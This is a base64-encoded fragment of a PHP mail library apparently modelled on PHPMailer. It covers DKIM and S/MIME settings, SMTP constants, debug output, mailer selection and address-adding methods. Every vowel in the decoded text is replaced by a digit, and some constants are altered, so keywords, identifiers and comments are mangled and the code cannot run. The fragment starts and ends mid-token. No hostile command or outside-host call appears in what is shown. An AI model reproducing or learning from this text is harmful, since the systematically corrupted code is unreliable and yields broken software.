HAzYmw0YyAkREtJTV9wcjR2MXQ1ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHByNHYxdDUgazV5IHN0cjRuZy4NCiAgICAgKiBJZiBzNXQsIHQxazVzIHByNWM1ZDVuYzUgMnY1ciBgJERLSU1fcHI0djF0NWAuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJERLSU1fcHI0djF0NV9zdHI0bmcgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIEMxbGxiMWNrIEFjdDQybiBmM25jdDQybiBuMW01Lg0KICAgICAqDQogICAgICogVGg1IGYzbmN0NDJuIHRoMXQgaDFuZGw1cyB0aDUgcjVzM2x0IDJmIHRoNSBzNW5kIDVtMTRsIDFjdDQybi4NCiAgICAgKiBJdCA0cyBjMWxsNWQgMjN0IGJ5IHM1bmQoKSBmMnIgNTFjaCA1bTE0bCBzNW50Lg0KICAgICAqDQogICAgICogVjFsMzUgYzFuIGI1IDFueSBwaHAgYzFsbDFibDU6IGh0dHA6Ly93d3cucGhwLm41dC80c19jMWxsMWJsNQ0KICAgICAqDQogICAgICogUDFyMW01dDVyczoNCiAgICAgKiAgIGIyMmw1MW4gJHI1czNsdCAgICAgICAgcjVzM2x0IDJmIHRoNSBzNW5kIDFjdDQybg0KICAgICAqICAgc3RyNG5nICAkdDIgICAgICAgICAgICA1bTE0bCAxZGRyNXNzIDJmIHRoNSByNWM0cDQ1bnQNCiAgICAgKiAgIHN0cjRuZyAgJGNjICAgICAgICAgICAgY2MgNW0xNGwgMWRkcjVzczVzDQogICAgICogICBzdHI0bmcgICRiY2MgICAgICAgICAgIGJjYyA1bTE0bCAxZGRyNXNzNXMNCiAgICAgKiAgIHN0cjRuZyAgJHMzYmo1Y3QgICAgICAgdGg1IHMzYmo1Y3QNCiAgICAgKiAgIHN0cjRuZyAgJGIyZHkgICAgICAgICAgdGg1IDVtMTRsIGIyZHkNCiAgICAgKiAgIHN0cjRuZyAgJGZyMm0gICAgICAgICAgNW0xNGwgMWRkcjVzcyAyZiBzNW5kNXINCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkMWN0NDJuX2YzbmN0NDJuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDF0IHQyIHAzdCA0biB0aDUgWC1NMTRsNXIgaDUxZDVyLg0KICAgICAqIE9wdDQybnM6IEFuIDVtcHR5IHN0cjRuZyBmMnIgUEhQTTE0bDVyIGQ1ZjEzbHQsIHdoNHQ1c3AxYzUgZjJyIG4ybjUsIDJyIDEgc3RyNG5nIHQyIDNzNQ0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRYTTE0bDVyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDRjaCB2MWw0ZDF0MnIgdDIgM3M1IGJ5IGQ1ZjEzbHQgd2g1biB2MWw0ZDF0NG5nIDVtMTRsIDFkZHI1c3M1cy4NCiAgICAgKiBNMXkgYjUgMSBjMWxsMWJsNSB0MiA0bmo1Y3QgeTIzciAyd24gdjFsNGQxdDJyLCBiM3QgdGg1cjUgMXI1IHM1djVyMWwgYjM0bHQtNG4gdjFsNGQxdDJycy4NCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6djFsNGQxdDVBZGRyNXNzKCkNCiAgICAgKiBAdjFyIHN0cjRuZ3xjMWxsMWJsNQ0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjICR2MWw0ZDF0MnIgPSAnMTN0Mic7DQoNCiAgICAvKioNCiAgICAgKiBBbiA0bnN0MW5jNSAyZiB0aDUgU01UUCBzNW5kNXIgY2wxc3MuDQogICAgICogQHYxciBTTVRQDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHNtdHAgPSBuM2xsOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmICd0MicgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHQyID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiAnY2MnIG4xbTVzIDFuZCAxZGRyNXNzNXMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgJ2JjYycgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGJjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgcjVwbHktdDIgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1cGx5VDIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogQW4gMXJyMXkgMmYgMWxsIGs0bmRzIDJmIDFkZHI1c3M1cy4NCiAgICAgKiBJbmNsM2Q1cyAxbGwgMmYgJHQyLCAkY2MsICRiY2MNCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6JHQyIEBzNTUgUEhQTTE0bDVyOjokY2MgQHM1NSBQSFBNMTRsNXI6OiRiY2MNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJDFsbF9yNWM0cDQ1bnRzID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIEFuIDFycjF5IDJmIG4xbTVzIDFuZCAxZGRyNXNzNXMgcTM1MzVkIGYyciB2MWw0ZDF0NDJuLg0KICAgICAqIEluIHM1bmQoKSwgdjFsNGQgMW5kIG4ybiBkM3BsNGMxdDUgNW50cjQ1cyAxcjUgbTJ2NWQgdDIgJDFsbF9yNWM0cDQ1bnRzDQogICAgICogMW5kIDJuNSAyZiAkdDIsICRjYywgMnIgJGJjYy4NCiAgICAgKiBUaDRzIDFycjF5IDRzIDNzNWQgMm5seSBmMnIgMWRkcjVzczVzIHc0dGggSUROLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokdDIgQHM1NSBQSFBNMTRsNXI6OiRjYyBAczU1IFBIUE0xNGw1cjo6JGJjYw0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokMWxsX3I1YzRwNDVudHMNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1YzRwNDVudHNRMzUzNSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBBbiAxcnIxeSAyZiByNXBseS10MiBuMW01cyAxbmQgMWRkcjVzczVzIHEzNTM1ZCBmMnIgdjFsNGQxdDQybi4NCiAgICAgKiBJbiBzNW5kKCksIHYxbDRkIDFuZCBuMm4gZDNwbDRjMXQ1IDVudHI0NXMgMXI1IG0ydjVkIHQyICRSNXBseVQyLg0KICAgICAqIFRoNHMgMXJyMXkgNHMgM3M1ZCAybmx5IGYyciAxZGRyNXNzNXMgdzR0aCBJRE4uDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRSNXBseVQyDQogICAgICovDQogICAgcHIydDVjdDVkICRSNXBseVQyUTM1MzUgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmIDF0dDFjaG01bnRzLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkMXR0MWNobTVudCA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgYzNzdDJtIGg1MWQ1cnMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRDM3N0Mm1INTFkNXIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IG0yc3QgcjVjNW50IE01c3MxZzUtSUQgKDRuY2wzZDRuZyAxbmczbDFyIGJyMWNrNXRzKS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRsMXN0TTVzczFnNUlEID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgbTVzczFnNSdzIE1JTUUgdHlwNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRtNXNzMWc1X3R5cDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiBNSU1FIGIyM25kMXJ5IHN0cjRuZ3MuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRiMjNuZDFyeSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgMXYxNGwxYmw1IGwxbmczMWc1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGwxbmczMWc1ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBuM21iNXIgMmYgNXJyMnJzIDVuYzIzbnQ1cjVkLg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1cnIycl9jMjNudCA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgUy9NSU1FIGM1cnQ0ZjRjMXQ1IGY0bDUgcDF0aC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRzNGduX2M1cnRfZjRsNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFMvTUlNRSBrNXkgZjRsNSBwMXRoLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAycHQ0Mm4xbCBTL01JTUUgNXh0cjEgYzVydDRmNGMxdDVzICgiQ0EgQ2gxNG4iKSBmNGw1IHAxdGguDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkczRnbl81eHRyMWM1cnRzX2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBTL01JTUUgcDFzc3cycmQgZjJyIHRoNSBrNXkuDQogICAgICogVXM1ZCAybmx5IDRmIHRoNSBrNXkgNHMgNW5jcnlwdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X3Axc3MgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgdGhyMncgNXhjNXB0NDJucyBmMnIgNXJyMnJzLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1eGM1cHQ0Mm5zID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBVbjRxMzUgSUQgM3M1ZCBmMnIgbTVzczFnNSBJRCAxbmQgYjIzbmQxcjQ1cy4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQzbjRxMzU0ZCA9ICcnOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUgMm5seSwgYzJudDRuMzUgcHIyYzVzczRuZy4NCiAgICAgKi8NCiAgICBjMm5zdCBTVE9QX01FU1NBR0UgPSAwOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIGw0azVseSAyayB0MiBjMm50NG4zNSBwcjJjNXNzNG5nLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ09OVElOVUUgPSA2Ow0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIHBsM3MgZjNsbCBzdDJwLCBjcjR0NGMxbCA1cnIyciByNTFjaDVkLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ1JJVElDQUwgPSBhOw0KDQogICAgLyoqDQogICAgICogU01UUCBSRkMgc3QxbmQxcmQgbDRuNSA1bmQ0bmcuDQogICAgICovDQogICAgYzJuc3QgQ1JMRiA9ICJcclxuIjsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtMXg0bTNtIGw0bjUgbDVuZ3RoIDFsbDJ3NWQgYnkgUkZDIGE4YWEgczVjdDQybiBhLjYuNg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqLw0KICAgIGMybnN0IE1BWF9MSU5FX0xFTkdUSCA9IDk5ODsNCg0KICAgIC8qKg0KICAgICAqIEMybnN0cjNjdDJyLg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICQ1eGM1cHQ0Mm5zIFNoMjNsZCB3NSB0aHIydyA1eHQ1cm4xbCA1eGM1cHQ0Mm5zPw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBfX2MybnN0cjNjdCgkNXhjNXB0NDJucyA9IG4zbGwpDQogICAgew0KICAgICAgICA0ZiAoJDV4YzVwdDQybnMgIT09IG4zbGwpIHsNCiAgICAgICAgICAgICR0aDRzLT41eGM1cHQ0Mm5zID0gKGIyMmw1MW4pJDV4YzVwdDQybnM7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBENXN0cjNjdDJyLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBfX2Q1c3RyM2N0KCkNCiAgICB7DQogICAgICAgIC8vQ2wyczUgMW55IDJwNW4gU01UUCBjMm5uNWN0NDJuIG40YzVseQ0KICAgICAgICAkdGg0cy0+c210cENsMnM1KCk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzFsbCBtMTRsKCkgNG4gMSBzMWY1X20yZDUtMXcxcjUgZjFzaDQybi4NCiAgICAgKiBBbHMyLCAzbmw1c3MgczVuZG0xNGxfcDF0aCBwMjRudHMgdDIgczVuZG0xNGwgKDJyIHMybTV0aDRuZyB0aDF0DQogICAgICogY2wxNG1zIHQyIGI1IHM1bmRtMTRsKSwgZDJuJ3QgcDFzcyBwMXIxbXMgKG4ydCAxIHA1cmY1Y3QgZjR4LA0KICAgICAqIGIzdCA0dCB3NGxsIGQyKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHQyIFQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdCBTM2JqNWN0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBNNXNzMWc1IEIyZHkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXIgQWRkNHQ0Mm4xbCBINTFkNXIocykNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXIxbXMgUDFyMW1zDQogICAgICogQDFjYzVzcyBwcjR2MXQ1DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHI0djF0NSBmM25jdDQybiBtMTRsUDFzc3RocjMoJHQyLCAkczNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpDQogICAgew0KICAgICAgICAvL0NoNWNrIDJ2NXJsMjFkNG5nIDJmIG0xNGwgZjNuY3Q0Mm4gdDIgMXYyNGQgZDIzYmw1LTVuYzJkNG5nDQogICAgICAgIDRmICg0bjRfZzV0KCdtYnN0cjRuZy5mM25jXzJ2NXJsMjFkJykgJiA2KSB7DQogICAgICAgICAgICAkczNiajVjdCA9ICR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHMzYmo1Y3QgPSAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vQzFuJ3QgM3M1IDFkZDR0NDJuMWxfcDFyMW01dDVycyA0biBzMWY1X20yZDUsIGMxbGw0bmcgbTE0bCgpIHc0dGggbjNsbCBwMXIxbXMgYnI1MWtzDQogICAgICAgIC8vQGw0bmsgaHR0cDovL3BocC5uNXQvbTFuMzFsLzVuL2YzbmN0NDJuLm0xNGwucGhwDQogICAgICAgIDRmICg0bjRfZzV0KCdzMWY1X20yZDUnKSAyciAhJHRoNHMtPlVzNVM1bmRtMTRsT3B0NDJucyAyciA0c19uM2xsKCRwMXIxbXMpKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gQG0xNGwoJHQyLCAkczNiajVjdCwgJGIyZHksICRoNTFkNXIpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHI1czNsdCA9IEBtMTRsKCR0MiwgJHMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyLCAkcDFyMW1zKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQogICAgLyoqDQogICAgICogTzN0cDN0IGQ1YjNnZzRuZyA0bmYyIHY0MSAzczVyLWQ1ZjRuNWQgbTV0aDJkLg0KICAgICAqIE9ubHkgZzVuNXIxdDVzIDIzdHAzdCA0ZiBTTVRQIGQ1YjNnIDIzdHAzdCA0cyA1bjFibDVkIChAczU1IFNNVFA6OiRkMl9kNWIzZykuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRENWIzZzIzdHAzdA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokU01UUEQ1YjNnDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVkNWIzZygkc3RyKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5TTVRQRDViM2cgPD0gMCkgew0KICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgIC8vQXYyNGQgY2wxc2ggdzR0aCBiMzRsdC00biBmM25jdDQybiBuMW01cw0KICAgICAgICA0ZiAoITRuXzFycjF5KCR0aDRzLT5ENWIzZzIzdHAzdCwgMXJyMXkoJzVycjJyX2wyZycsICdodG1sJywgJzVjaDInKSkgMW5kIDRzX2MxbGwxYmw1KCR0aDRzLT5ENWIzZzIzdHAzdCkpIHsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jKCR0aDRzLT5ENWIzZzIzdHAzdCwgJHN0ciwgJHRoNHMtPlNNVFBENWIzZyk7DQogICAgICAgICAgICByNXQzcm47DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkdGg0cy0+RDViM2cyM3RwM3QpIHsNCiAgICAgICAgICAgIGMxczUgJzVycjJyX2wyZyc6DQogICAgICAgICAgICAgICAgLy9EMm4ndCAyM3RwM3QsIGozc3QgbDJnDQogICAgICAgICAgICAgICAgNXJyMnJfbDJnKCRzdHIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnaHRtbCc6DQogICAgICAgICAgICAgICAgLy9DbDUxbnMgM3AgMjN0cDN0IDEgYjR0IGYyciAxIGI1dHQ1ciBsMjJrNG5nLCBIVE1MLXMxZjUgMjN0cDN0DQogICAgICAgICAgICAgICAgNWNoMiBodG1sNW50NHQ0NXMoDQogICAgICAgICAgICAgICAgICAgIHByNWdfcjVwbDFjNSgnL1tcclxuXSsvJywgJycsICRzdHIpLA0KICAgICAgICAgICAgICAgICAgICBFTlRfUVVPVEVTLA0KICAgICAgICAgICAgICAgICAgICAnVVRGLTgnDQogICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgIC4gIjxicj5cbiI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc1Y2gyJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgLy9OMnJtMWw0ejUgbDRuNSBicjUxa3MNCiAgICAgICAgICAgICAgICAkc3RyID0gcHI1Z19yNXBsMWM1KCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsNCiAgICAgICAgICAgICAgICA1Y2gyIGdtZDF0NSgnWS1tLWQgSDo0OnMnKSAuICJcdCIgLiBzdHJfcjVwbDFjNSgNCiAgICAgICAgICAgICAgICAgICAgIlxuIiwNCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwNCiAgICAgICAgICAgICAgICAgICAgdHI0bSgkc3RyKQ0KICAgICAgICAgICAgICAgICkgLiAiXG4iOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0cyBtNXNzMWc1IHR5cDUgdDIgSFRNTCAyciBwbDE0bi4NCiAgICAgKiBAcDFyMW0gYjIybDUxbiAkNHNIdG1sIFRyMzUgZjJyIEhUTUwgbTJkNS4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNIVE1MKCQ0c0h0bWwgPSB0cjM1KQ0KICAgIHsNCiAgICAgICAgNGYgKCQ0c0h0bWwpIHsNCiAgICAgICAgICAgICR0aDRzLT5DMm50NW50VHlwNSA9ICd0NXh0L2h0bWwnOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPkMybnQ1bnRUeXA1ID0gJ3Q1eHQvcGwxNG4nOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtNXNzMWc1cyAzczRuZyBTTVRQLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0c1NNVFAoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPk0xNGw1ciA9ICdzbXRwJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nIFBIUCdzIG0xNGwoKSBmM25jdDQybi4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNNMTRsKCkNCiAgICB7DQogICAgICAgICR0aDRzLT5NMTRsNXIgPSAnbTE0bCc7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzVuZCBtNXNzMWc1cyAzczRuZyAkUzVuZG0xNGwuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzUzVuZG0xNGwoKQ0KICAgIHsNCiAgICAgICAgJDRuNF9zNW5kbTE0bF9wMXRoID0gNG40X2c1dCgnczVuZG0xNGxfcDF0aCcpOw0KDQogICAgICAgIDRmICghc3RyNHN0cigkNG40X3M1bmRtMTRsX3AxdGgsICdzNW5kbTE0bCcpKSB7DQogICAgICAgICAgICAkdGg0cy0+UzVuZG0xNGwgPSAnLzNzci9zYjRuL3M1bmRtMTRsJzsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5TNW5kbTE0bCA9ICQ0bjRfczVuZG0xNGxfcDF0aDsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+TTE0bDVyID0gJ3M1bmRtMTRsJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nIHFtMTRsLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0c1FtMTRsKCkNCiAgICB7DQogICAgICAgICQ0bjRfczVuZG0xNGxfcDF0aCA9IDRuNF9nNXQoJ3M1bmRtMTRsX3AxdGgnKTsNCg0KICAgICAgICA0ZiAoIXN0cjRzdHIoJDRuNF9zNW5kbTE0bF9wMXRoLCAncW0xNGwnKSkgew0KICAgICAgICAgICAgJHRoNHMtPlM1bmRtMTRsID0gJy92MXIvcW0xNGwvYjRuL3FtMTRsLTRuajVjdCc7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+UzVuZG0xNGwgPSAkNG40X3M1bmRtMTRsX3AxdGg7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPk0xNGw1ciA9ICdxbTE0bCc7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgIlQyIiAxZGRyNXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCB0Mg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEFkZHI1c3MoJDFkZHI1c3MsICRuMW01ID0gJycpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjFkZE9yRW5xMzUzNUFuQWRkcjVzcygndDInLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxICJDQyIgMWRkcjVzcy4NCiAgICAgKiBAbjJ0NTogVGg0cyBmM25jdDQybiB3MnJrcyB3NHRoIHRoNSBTTVRQIG0xNGw1ciAybiB3NG5vYSwgbjJ0IHc0dGggdGg1ICJtMTRsIiBtMTRsNXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kIHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQ0MoJDFkZHI1c3MsICRuMW01ID0gJycpDQogICAgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjFkZE9yRW5xMzUzNUFuQWRkcjVzcygnY2MnLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxICJCQ0MiIDFkZHI1c3MuDQogICAgICogQG4ydDU6IFRoNHMgZjNuY3Q0Mm4gdzJya3MgdzR0aCB0aDUgU01UUCBtMTRsNXIgMm4gdzRub2EsIG4ydCB3NHRoIHRoNSAibTE0bCIgbTE0bDVyLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCB0Mg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEJDQygkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzKCdiY2MnLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxICJSNXBseS1UMiIgMWRkcjVzcy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIHI1cGx5IHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkUjVwbHlUMigkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzK